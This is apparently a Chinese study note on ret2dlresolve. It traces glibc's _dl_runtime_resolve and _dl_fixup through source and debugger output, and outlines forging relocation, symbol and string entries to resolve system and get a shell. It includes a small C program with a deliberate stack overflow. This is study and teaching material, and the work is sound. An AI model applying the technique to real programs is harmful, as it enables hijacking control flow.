ret2dl_reslove 学习:_dl_runtime_reslove分析以及ret2dlreslove
加载期间查找函数时使用的不同结构。
延迟绑定 动态链接器仅在需要时才解析对共享库中符号的引用:程序不知道共享库中特定函数的地址,直到实际使用该函数。
延迟绑定即为运行时解析符号
涉及两部分,plt表和got表
plt:记录默认存根(link_map和_dl_runtime_resolve) 和 函数的存根
got: 位于data段,运行时用已解析符号的地址填充
包含将在符号解析过程中使用的重要地址: link_map 结构地址和**_dl_runtime_resolve** 地址
调用read
从.text段的代码,call read@plt
,调用.plt段的存根部分,跳转到.got.plt段,因为符号未解析,所以push reloc_arg; jmp 默认存根
,执行push link_map; jmp _dl_runtime_resolve
_dl_runtime_resolve 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 0x7ffff7fe93c0 <_dl_runtime_resolve_xsave>: push rbx 0x7ffff7fe93c1 <_dl_runtime_resolve_xsave+1>: mov rbx,rsp 0x7ffff7fe93c4 <_dl_runtime_resolve_xsave+4>: and rsp,0xffffffffffffffc0 0x7ffff7fe93c8 <_dl_runtime_resolve_xsave+8>: sub rsp,QWORD PTR [rip+0x13379] // 0x7ffff7ffc748 <_rtld_global_ro+232> 0x7ffff7fe93cf <_dl_runtime_resolve_xsave+15>: mov QWORD PTR [rsp],rax 0x7ffff7fe93d3 <_dl_runtime_resolve_xsave+19>: mov QWORD PTR [rsp+0x8],rcx 0x7ffff7fe93d8 <_dl_runtime_resolve_xsave+24>: mov QWORD PTR [rsp+0x10],rdx 0x7ffff7fe93dd <_dl_runtime_resolve_xsave+29>: mov QWORD PTR [rsp+0x18],rsi 0x7ffff7fe93e2 <_dl_runtime_resolve_xsave+34>: mov QWORD PTR [rsp+0x20],rdi 0x7ffff7fe93e7 <_dl_runtime_resolve_xsave+39>: mov QWORD PTR [rsp+0x28],r8 0x7ffff7fe93ec <_dl_runtime_resolve_xsave+44>: mov QWORD PTR [rsp+0x30],r9 0x7ffff7fe93f1 <_dl_runtime_resolve_xsave+49>: mov eax,0xee 0x7ffff7fe93f6 <_dl_runtime_resolve_xsave+54>: xor edx,edx 0x7ffff7fe93f8 <_dl_runtime_resolve_xsave+56>: mov QWORD PTR [rsp+0x240],rdx 0x7ffff7fe9400 <_dl_runtime_resolve_xsave+64>: mov QWORD PTR [rsp+0x248],rdx 0x7ffff7fe9408 <_dl_runtime_resolve_xsave+72>: mov QWORD PTR [rsp+0x250],rdx 0x7ffff7fe9410 <_dl_runtime_resolve_xsave+80>: mov QWORD PTR [rsp+0x258],rdx 0x7ffff7fe9418 <_dl_runtime_resolve_xsave+88>: mov QWORD PTR [rsp+0x260],rdx 0x7ffff7fe9420 <_dl_runtime_resolve_xsave+96>: mov QWORD PTR [rsp+0x268],rdx 0x7ffff7fe9428 <_dl_runtime_resolve_xsave+104>: mov QWORD PTR [rsp+0x270],rdx 0x7ffff7fe9430 <_dl_runtime_resolve_xsave+112>: mov QWORD PTR [rsp+0x278],rdx 0x7ffff7fe9438 <_dl_runtime_resolve_xsave+120>: xsave [rsp+0x40] // Save current processor state 0x7ffff7fe943d <_dl_runtime_resolve_xsave+125>: mov rsi,QWORD PTR [rbx+0x10] // reloc_arg 0x7ffff7fe9441 <_dl_runtime_resolve_xsave+129>: mov rdi,QWORD PTR [rbx+0x8] // link_map 0x7ffff7fe9445 <_dl_runtime_resolve_xsave+133>: call 0x7ffff7fe2a20 <_dl_fixup> // _dl_fixup(link_map, reloc_arg)
功能:保存当前处理器状态,将reloc_arg
赋值给rsi,link_map
赋值给rdi,调用_dl_fixup
剖析_dl_fixup 前置 动态链接相关基础 :DYNSYM (.dynsym)、JMPREL (.rela.plt)、 和STRTAB (.dynstr)
四个指针及结构体 :DT_SYMTAB(Elf64_Sym), DT_JMPREL(Elf64_Rela), DT_STRTAB(Elf64_Str), Dynamic(Elf64_Sym)
DYNSYM (.dynsym)它包含一个符号表。它由 0x18 字节对齐的Elf64_Sym 结构组成 。每个结构将一个符号名称与二进制文件中其他地方的一段代码相关联。
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf64_Wddr st_name; unsigned char st_info; unsigned char st_other; Elf64_Section st_shndx; Elf64_Addr st_value; Elf64_Xword st_size; }Elf64_Sym;
st_name :它充当字符串表索引。它将用于在 STRTAB 部分中定位正确的字符串。
st_info :它包含符号的类型和绑定属性。
st_other :它包含符号的可见性。
st_shndx :它包含相关的节头表索引。
st_value :它包含关联符号的值。
st_size :它包含符号的大小。如果符号没有大小或大小未知,则它包含 0。
JMPREL (.rela.plt)包含链接器用来执行重定位的信息。它由0x18字节对齐的 Elf64_Rel 结构组成
1 2 3 4 5 6 typedef struct { Elf64_Addr r_offset; Elf64_Wddr r_info; }Elf64_Rel;
r_offset :它包含将存储已解析符号地址的位置(在 GOT 中)。
r_info :表示重定位类型,作为符号表索引。它将用于在 DYNSYM 部分中定位相应的 Elf64_Sym 结构。
STRTAB (.dynstr)存在 包含符号名称的字符串表
定义:dl-resolve.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 _dl_fixup (# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS ELF_MACHINE_RUNTIME_FIXUP_ARGS,# endif struct link_map *l, ElfW(Word) reloc_arg ) { const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; const ElfW (Sym) *refsym = sym; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);lookup_t result; DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { const struct r_found_version *version = NULL ; if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL ) { const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ; } int flags = DL_LOOKUP_ADD_DEPENDENCY; if (!RTLD_SINGLE_THREAD_P) { THREAD_GSCOPE_SET_FLAG (); flags |= DL_LOOKUP_GSCOPE_LOCK; }#ifdef RTLD_ENABLE_FOREIGN_CALL RTLD_ENABLE_FOREIGN_CALL;#endif result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL ); if (!RTLD_SINGLE_THREAD_P) THREAD_GSCOPE_RESET_FLAG ();#ifdef RTLD_FINALIZE_FOREIGN_CALL RTLD_FINALIZE_FOREIGN_CALL;#endif value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false )); }else { value = DL_FIXUP_MAKE_VALUE(l, SYMBOL_ADDRESS (l, sym, true )); result = l; } value = elf_machine_plt_value (l, reloc, value);if (sym != NULL && __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0 )) value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));if (__glibc_unlikely (GLRO(dl_bind_not))) return value;return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); } [...]
接下来逐步进行解析
_dl_fixup( ... struct link_map *l, ElfW(Word) reloc_arg)
接受两个参数,一是源自rdi,一是源自rsi
link_map 是一个重要的结构,它包含有关加载的共享对象的各种信息。链接器创建一个 link_maps 链表,每个link_map
结构描述一个共享对象
reloc_arg 将用作索引,标识 Elf64_Rel
JMPREL 部分中的对应项
const char *strtab = (const void *) D_PTR(l, l_info[DT_STRTAB]);
定义指向DT_STRTAB
的指针
D_PTR:
定义:D_PTR(map, i) ((map)->i->d_un.d_ptr + (map)->l_addr)
如果动态链接仅可读:则定义为D_PTR(map, i) ((map)->i->d_un.d_ptr
用于寻找在位于DYNAMIC 段的结构体Elf64_Dyn
的d_ptr
值,
Elf64_Dyn:
1 2 3 4 5 6 7 8 9 10 typedef struct { Elf64_Sxword d_tag; union { Elf64_Xword d_val; Elf64_Addr d_ptr; } d_un; } Elf64_Dyn;
l_info:
位于&link_map + 0x40
并指向动态部分,接受一个标记作为索引
const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
D_PTR:获取DT_JMPREL段
地址,增加了reloc_offset (reloc_arg * sizeof(PLTREL))
⭐没有校验上限,所以在此处提供大量reloc_arg给dl_fixup
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
定义一个指向Elf64_Sym
的指针
ElfW定义
1 2 3 4 5 6 7 8 9 10 #define ElfW(type) _ElfW (Elf, __ELF_NATIVE_CLASS, type) #define _ElfW(e,w,t) _ElfW_1 (e, w, _##t) #define _ElfW_1(e,w,t) e##w##t
ELF64_R_SYM 定义 ELF64_R_SYM(i) ((i) >> 32)
翻译成: const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];
作用:索引,在SYMTAB段中reloc->r_info >> 32
找到对应的结构体Elf64_Sym
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
指针rel_addr,用于指向存储的已解析符号的位置
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
check1: assert ((reloc->r_info & 0xffffffff) == 0x7); 效果: 检查reloc->r_info是否是有效的JUMP_SLOT
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
**check2: **
if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)
效果: 如果不满足条件,则认为函数已经解析 否则继续执行if语句中的内容 ELF64_ST_VISIBILITY]
等价ELF32_ST_VISIBILITY(o) ((o) & 0x03)
,可以翻译为上面写的句子
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
check3:
if (&l + 0x1d0) != NULL
效果:通常为if为真是,继续执行if语句
**VERSYMIDX**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #define VERSYMIDX(sym) (DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGIDX(sym)) #define DT_VERSYM 0x6ffffff0 #define DT_NUM 35 #define DT_THISPROCNUM 0 #define DT_VERNEEDNUM 0x6fffffff #define DT_VERSIONTAGIDX(tag) (DT_VERNEEDNUM - (tag))
继续执行if语句
1 2 3 4 5 6 7 8 9 10 11 const ElfW (Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]); ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff ; version = &l->l_versions[ndx]; if (version->hash == 0 ) version = NULL ;
l_version: 位于&link_map + 0x2e8
是一个版本名数组
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
调用1:_dl_lookup_symbol_x
通过strtab + sym->st_name
,在加载的对象中寻找符号定义
返回linkmap
结构体的地址,其第一个元素指向libc基地址,返回l_addr
value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false));
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
调用2:DL_FIXUP_MAKE_VALUE
通过 SYMBOL_ADDRESS
宏,DL_FIXUP_MAKE_VALUE
寻找库函数的偏移,重定位并将结果存储在value
变量中
1 2 3 4 5 6 7 8 #define SYMBOL_ADDRESS(map, ref, map_set) \ ((ref) == NULL ? 0 \ : (__glibc_unlikely ((ref)->st_shndx == SHN_ABS) ? 0 \ : LOOKUP_VALUE_ADDRESS (map, map_set)) + (ref)->st_value) #define LOOKUP_VALUE_ADDRESS(map, set) ((set) || (map) ? (map)->l_addr : 0)
如果该函数成功执行,value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
⭐**call _dl_lookup_symbol_x
**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0x7ffff7fe2b1c <_dl_fixup+252> mov rax, QWORD PTR [r8] ; r8 包含地址link_map, l_addr指向libc基地址 0x7ffff7fe2b1f <_dl_fixup+255> add rax, QWORD PTR [rdx + 8] ;rdx 指向libc中结构体Elf64_Symlibc ; R8 0x7ffff7fae000 --> 0x7ffff7deb000 <-- 0x3010102464c457f ; RDX 0x7ffff7df7cd0 ; call _dl_lookup_symbol_x后 ; rax中存放libc基地址,rax += $rdx+8 ; rdx+8 指向 是Elf64_Sym结构体中st_value的地址 ; rax + $rdx+8 == libc_base+ st_value ;获得read在libc中的地址
value = elf_machine_plt_value (l, reloc, value);
调用3:elf_machine_plt_value
在其上两次调用结束后,我们可以获取到函数在libc中的地址
通过elf_machine_fixup_plt()
,可以将解析符号的地址写入rel_addr
指向的位置
回顾&总结
调用_dl_fixup(link_map, reloc_arg)
const PLTREL *const reloc = (const void *) (JMPREL + reloc_offset);
_dl_fixup()
,根据reloc_offset (reloc_arg * 0x18)
的值,在.rela.plt 中寻找对应的Elf64_Rel
结构体。
const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32];
它使用 Elf64_Rel
结构体中的字段reloc->r_info >> 32
作为索引,在SYMTAB 节中找到相应的Elf64_Sym
结构
assert ((reloc->r_info & 0xffffffff) == 0x7);
使用Elf64_Rel
结构中r_info
,确保它是一个有效的 JUMP_SLOT。
if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)
使用Elf64_Sym
结构中st_other
,以确保符号未被解析。
(sym->st_other & 3) != 0
意思是“符号已经解析”,所以我们需要st_other
== 0。
if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
执行符号版本控制检查。
通常满足此检查,因此它通过ElfW(Half) ndx = vernum[reloc->r_info >> 32] & 0x7fff;
计算“ndx”
然后获取版本号 version = &l->l_versions[ndx];
。
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
_dl_lookup_symbol_x()
函数, 通过strtab + sym->st_name
,在加载对象的符号表中查找符号的定义并返回 link_map
地址。l_addr
指向 libc 基地址。
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
DL_FIXUP_MAKE_VALUE()
从库基地址找到函数的偏移量并重定位
return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value);
elf_machine_fixup_plt()
将已解析符号的地址写入rel_addr
(In the GOT)指向的位置。
调试read流程 理解_dl_fixup
poc 前提可以修改got表
1 2 3 4 5 6 7 8 9 #include <unistd.h> void main (void ) { char buff[20 ]; read(0 , buff, 0x90 ); }
plt表
第一次调用read函数
从plt表,找函数存根,没有,则指向默认存根
push link_map
jmp _dl_runtime_reslove
执行_dl_runtime_reslove函数
最后一句汇编,执行_dl_fixup函数
跟进去,继续看
_dl_fixup
已经接受了参数link_map和reloc_arg,存放在rdi和rsi中
源码级调试 跳过定义部分,重点关注check以及后续函数的调用导致寄存器中值的变化
check1:
1 2 3 4 5 6 7 8 assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); RSI 0x200000007 ► 0x7ffff7fe0b32 <_dl_fixup+82> cmp esi, 7 0x7ffff7fe0b35 <_dl_fixup+85> jne _dl_fixup+414 <_dl_fixup+414> ; (reloc->r_info & 0xffffffff) == 0x7
check2:
1 2 3 4 5 6 7 8 9 10 11 12 13 if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) RDX 0x3ff3e8 ◂— 0x120000001c ► 0x7ffff7fe0b3b <_dl_fixup+91> test byte ptr [rdx + 5], 3 0x7ffff7fe0b3f <_dl_fixup+95> jne _dl_fixup+320 <_dl_fixup+320> pwndbg> x /20xg 0x3ff3e8+5 0x3ff3ed: 0x0000000000000000 0x0000000000000000 ; test结果为0,jne需要标志位不为0,才跳转 ; 不进行跳转,继续执行if语句内的内容
check3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL) R10 0x7ffff7ffe1f0 ◂— 0x0 ► 0x7ffff7fe0b45 <_dl_fixup+101> mov r8, qword ptr [r10 + 0x1d0] 0x7ffff7fe0b4c <_dl_fixup+108> test r8, r8 0x7ffff7fe0b4f <_dl_fixup+111> je _dl_fixup+157 <_dl_fixup+157> pwndbg> x /20xg 0x7ffff7ffe1f0+0x1d0 0x7ffff7ffe3c0: 0x0000000000403f80 0x0000000000000000 pwndbg> x /20xg 0x0000000000403f80 0x403f80: 0x000000006ffffff0 0x0000000000400490 *R8 0x403f80 (_DYNAMIC+352) ◂— 0x6ffffff0 ► 0x7ffff7fe0b4c <_dl_fixup+108> test r8, r8 ; test结果不为0,je需要标志位为0,才跳转 ; 不跳转,继续执行if语句
之后是获取版本号,跳过
调用1
在加载的对象中寻找符号定义,
函数会返回link_map结构体地址,其第一个元素有libc_base(0x7ffff7e04000)
返回l_addr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ► 0x7ffff7fe0bb2 <_dl_fixup+210> call _dl_lookup_symbol_x <_dl_lookup_symbol_x> rdi: 0x3fe3a4 ◂— 0x6c5f5f0064616572 /* 'read' */ rsi: 0x7ffff7ffe1f0 ◂— 0x0 rdx: 0x7fffffffdb28 —▸ 0x3ff3e8 ◂— 0x120000001c rcx: 0x7ffff7ffe558 —▸ 0x7ffff7ffe4b0 —▸ 0x7ffff7fc9590 —▸ 0x7ffff7ffe1f0 ◂— 0x0 r8: 0x7ffff7fc95f8 —▸ 0x3fe3bb ◂— 'GLIBC_2.2.5' r9: 0x1 arg[6]: 0x1 arg[7]: 0x0 ; 执行完函数的寄存器状态 *RAX 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f *RBX 0x404020 (read@got.plt) —▸ 0x401040 ◂— endbr64 RCX 0x1 RDX 0x6 RDI 0x7ffff7e1f8e9 ◂— 0x4700352e322e325f /* '_2.2.5' */ RSI 0x3fe3c0 ◂— 0x4700352e322e325f /* '_2.2.5' */ *R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f R9 0x7ffff7e10fe8 ◂— 0x100012000021b7 R10 0xfffffffffffff8f9 R11 0x7fffffffdb28 —▸ 0x7ffff7e10fe8 ◂— 0x100012000021b7 *R12 0x401070 (_start) ◂— endbr64 *R13 0x7fffffffe040 ◂— 0x1 *R14 0x0 *R15 0x0 *RBP 0x7fffffffdf50 ◂— 0x0 *RSP 0x7fffffffdb10 ◂— 0x1 *RIP 0x7ffff7fe0bba (_dl_fixup+218) ◂— mov eax, dword ptr fs:[0x18]
调用2
通过 SYMBOL_ADDRESS
宏,DL_FIXUP_MAKE_VALUE
寻找库函数的偏移,重定位并将结果存储在value
变量中
1 2 3 4 5 6 7 8 9 value = DL_FIXUP_MAKE_VALUE (result, SYMBOL_ADDRESS (result, sym, false)); pwndbg> elf_machine_fixup_plt (map=<optimized out>, t=<optimized out>, refsym=<optimized out>, sym=0x7ffff7e10fe8, reloc=<optimized out>, value=140737353032400, reloc_addr=0x404020 <read@got.plt>) at ../sysdeps/x86_64/dl-machine.h:242 242 return *reloc_addr = value;
调用3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 value = elf_machine_plt_value (l, reloc, value); RAX 0x0 RBX 0x404020 (read@got.plt) —▸ 0x401040 ◂— endbr64 RCX 0x1 RDX 0x7ffff7e10fe8 ◂— 0x100012000021b7 RDI 0x7ffff7e1f8e9 ◂— 0x4700352e322e325f /* '_2.2.5' */ RSI 0x0 R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f R9 0x7ffff7e10fe8 ◂— 0x100012000021b7 R10 0xfffffffffffff8f9 R11 0x7fffffffdb28 —▸ 0x7ffff7e10fe8 ◂— 0x100012000021b7 R12 0x401070 (_start) ◂— endbr64 R13 0x7fffffffe040 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdf50 ◂— 0x0 RSP 0x7fffffffdb20 ◂— 0x0 *RIP 0x7ffff7fe0be0 (_dl_fixup+256) ◂— mov rax, qword ptr [r8] ► 0x7ffff7fe0be0 <_dl_fixup+256> mov rax, qword ptr [r8] 0x7ffff7fe0be3 <_dl_fixup+259> add rax, qword ptr [rdx + 8] 0x7ffff7fe0be7 <_dl_fixup+263> movzx edx, byte ptr [rdx + 4] 0x7ffff7fe0beb <_dl_fixup+267> and edx, 0xf 0x7ffff7fe0bee <_dl_fixup+270> cmp dl, 0xa 0x7ffff7fe0bf1 <_dl_fixup+273> je _dl_fixup+312 <_dl_fixup+312> ; R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f ; RDX 0x7ffff7e10fe8 ◂— 0x100012000021b7 ; R8:link_map地址, l_addr指向libc基地址 ; rdx 指向libc中结构体Elf64_Symlibc 执行后 ; *RAX 0x7ffff7e04000 ◂— 0x3010102464c457f 再次执行 ; *RAX 0x7ffff7ef22d0 (read) ◂— endbr64 ; rax中存放libc基地址,rax += $rdx+8 ; rdx+8 指向 是Elf64_Sym结构体中st_value的地址 ; rax + $rdx+8 == libc_base+ st_value ;获得read在libc中的地址
调用2的末尾
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 return elf_machine_fixup_plt (l, result, refsym, sym, reloc, rel_addr, value); RAX 0x7ffff7ef22d0 (read) ◂— endbr64 *RBX 0x7fffffffdf10 —▸ 0x4011a0 (__libc_csu_init) ◂— endbr64 RCX 0x1 RDX 0x0 RDI 0x7ffff7e1f8e9 ◂— 0x4700352e322e325f /* '_2.2.5' */ RSI 0x0 R8 0x7ffff7fc9000 —▸ 0x7ffff7e04000 ◂— 0x3010102464c457f R9 0x7ffff7e10fe8 ◂— 0x100012000021b7 R10 0xfffffffffffff8f9 R11 0x7fffffffdb28 —▸ 0x7ffff7e10fe8 ◂— 0x100012000021b7 R12 0x401070 (_start) ◂— endbr64 R13 0x7fffffffe040 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdf50 ◂— 0x0 *RSP 0x7fffffffdb38 —▸ 0x7ffff7fe816e (_dl_runtime_resolve_xsavec+126) ◂— mov r11, rax *RIP 0x7ffff7fe0c05 (_dl_fixup+293) ◂— ret
结束_dl_fixup调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 # endif # Copy args pushed by PLT in register . # %rdi: link_map, %rsi: reloc_index mov (LOCAL_STORAGE_AREA + 8 ) (%BASE) , %RSI_LP mov LOCAL_STORAGE_AREA (%BASE) , %RDI_LP call _dl_fixup # Call resolver. mov %RAX_LP, %R11_LP # Save return value # Get register content back. # ifdef USE_FXSAVE fxrstor STATE_SAVE_OFFSET (%rsp) # else movl $STATE_SAVE_MASK, %eax xorl %edx, %edx xrstor STATE_SAVE_OFFSET (%rsp) # endif movq REGISTER_SAVE_R9 (%rsp) , %r9 movq REGISTER_SAVE_R8 (%rsp) , %r8 movq REGISTER_SAVE_RDI (%rsp) , %rdi movq REGISTER_SAVE_RSI (%rsp) , %rsi movq REGISTER_SAVE_RDX (%rsp) , %rdx movq REGISTER_SAVE_RCX (%rsp) , %rcx movq REGISTER_SAVE_RAX (%rsp) , %rax # if DL_RUNTIME_RESOLVE_REALIGN_STACK mov %RBX_LP, %RSP_LP cfi_def_cfa_register (%rsp) movq (%rsp) , %rbx cfi_restore (%rbx) # endif # Adjust stack (PLT did 2 pushes) add $(LOCAL_STORAGE_AREA + 16 ) , %RSP_LP cfi_adjust_cfa_offset (-(LOCAL_STORAGE_AREA + 16 )) # Preserve bound registers. PRESERVE_BND_REGS_PREFIX jmp *%r11 # Jump to function address.
汇编:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 0x7ffff7fe816e <_dl_runtime_resolve_xsavec+126> mov r11, rax <read> 0x7ffff7fe8171 <_dl_runtime_resolve_xsavec+129> mov eax, 0xee 0x7ffff7fe8176 <_dl_runtime_resolve_xsavec+134> xor edx, edx 0x7ffff7fe8178 <_dl_runtime_resolve_xsavec+136> xrstor ptr [rsp + 0x40] 0x7ffff7fe817d <_dl_runtime_resolve_xsavec+141> mov r9, qword ptr [rsp + 0x30] 0x7ffff7fe8182 <_dl_runtime_resolve_xsavec+146> mov r8, qword ptr [rsp + 0x28] 0x7ffff7fe8187 <_dl_runtime_resolve_xsavec+151> mov rdi, qword ptr [rsp + 0x20] 0x7ffff7fe818c <_dl_runtime_resolve_xsavec+156> mov rsi, qword ptr [rsp + 0x18] 0x7ffff7fe8191 <_dl_runtime_resolve_xsavec+161> mov rdx, qword ptr [rsp + 0x10] 0x7ffff7fe8196 <_dl_runtime_resolve_xsavec+166> mov rcx, qword ptr [rsp + 8] 0x7ffff7fe819b <_dl_runtime_resolve_xsavec+171> mov rax, qword ptr [rsp] 0x7ffff7fe819f <_dl_runtime_resolve_xsavec+175> mov rsp, rbx 0x7ffff7fe81a2 <_dl_runtime_resolve_xsavec+178> mov rbx, qword ptr [rsp] 0x7ffff7fe81a6 <_dl_runtime_resolve_xsavec+182> add rsp, 0x18 ► 0x7ffff7fe81aa <_dl_runtime_resolve_xsavec+186> bnd jmp r11 ; 寄存器状态 RAX 0x7fffffffdf30 ◂— 0x0 RBX 0x4011a0 (__libc_csu_init) ◂— endbr64 RCX 0x7ffff7fc2738 (__exit_funcs) —▸ 0x7ffff7fc49a0 (initial) ◂— 0x0 RDX 0x90 RDI 0x0 RSI 0x7fffffffdf30 ◂— 0x0 R8 0x0 R9 0x7ffff7fe1730 (_dl_fini) ◂— endbr64 R10 0xfffffffffffff8f9 R11 0x7ffff7ef22d0 (read) ◂— endbr64 R12 0x401070 (_start) ◂— endbr64 R13 0x7fffffffe040 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdf50 ◂— 0x0 *RSP 0x7fffffffdf28 —▸ 0x401187 (main+49) ◂— nop *RIP 0x7ffff7fe81aa (_dl_runtime_resolve_xsavec+186) ◂— bnd jmp r11
调了一遍,还是很难懂利用的流程,如何进行伪造,如何控制
后面跟模板,跟思路,调一下进行伪造的_dl_fixup
利用思路 如果bss映射在0x40XXXX,则可以通过下面的思路,伪造reloc_arg进行攻击
在堆栈上压入一个大的伪造reloc_arg
,然后跳转到 plt 默认存根。_dl_fixup()
将link_map
与fake_reloc_arg
一起被称aguments
。
这样我们就可以控制 const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);
指向一个可控区域(bss/heap)。
在fake_JMPREL
部分,我们创建了一个fake_Elf64_Rel
具有大fake_r_info
。
现在我们也可以控制 const ElfW(Sym) *sym = &symtab[reloc->r_info >> 32]
指向可控区域。
创建fake_r_info
字段,我们需要确保它以 0x7 结尾
通过校验: assert ((reloc->r_info & 0xffffffff) == 0x7);
在 fake_DYNSYM
部分,我们创建一个fake_Elf64_Sym
结构,fake_st_other
字段设置为 0x00。
通过校验: if (__builtin_expect ((sym->st_other & 0x03), 0) == 0)
在相同的Elf64_Sym
结构中,我们创建了一个大fake_st_name
字段。
可以控制 strtab + sym->st_name
指向可控区域。
在fake_STRTAB
部分中,我们编写了一个以空字符结尾的字符串,例如 system\x00
。
如果我们计算正确, dl_fixup()
将解析符号,我们将get_shell
⭐对于x64 如果bss映射在0x60XXXX,则会出现崩溃
64位程序构造的数据一般都是在bss段,如0x601000-0x602000
,导致其相对于.dynsym
的地址0x400000-0x401000
很大,使得reloc->r_info
也很大,最后使
得访问ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
时程序访存出错,导致程序崩溃。
如果要按照上面的流程,要使l->l_info[VERSYMIDX (DT_VERSYM)] != NULL
不成立来避免崩溃,但是这样做的前提是泄露,而如果能泄露,则不需要
ret2dl_reslove手法,其他的方法或许更简单
改变思路,使if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
,sym->st_other != 0,从而绕过上面的check3检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 _dl_fixup (struct link_map *l, ElfW(Word) reloc_arg) { const ElfW (Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]); const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]); const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); const ElfW (Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; void *const rel_addr = (void *)(l->l_addr + reloc->r_offset); DL_FIXUP_VALUE_TYPE value; assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0 ) == 0 ) { ... } else { value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); result = l; } ... return elf_machine_fixup_plt (l, result, reloc, rel_addr, value); }
之前是通过伪造reloc_arg
现在转变为伪造link_map–>l_addr以及Elf64_Sym –> st_value
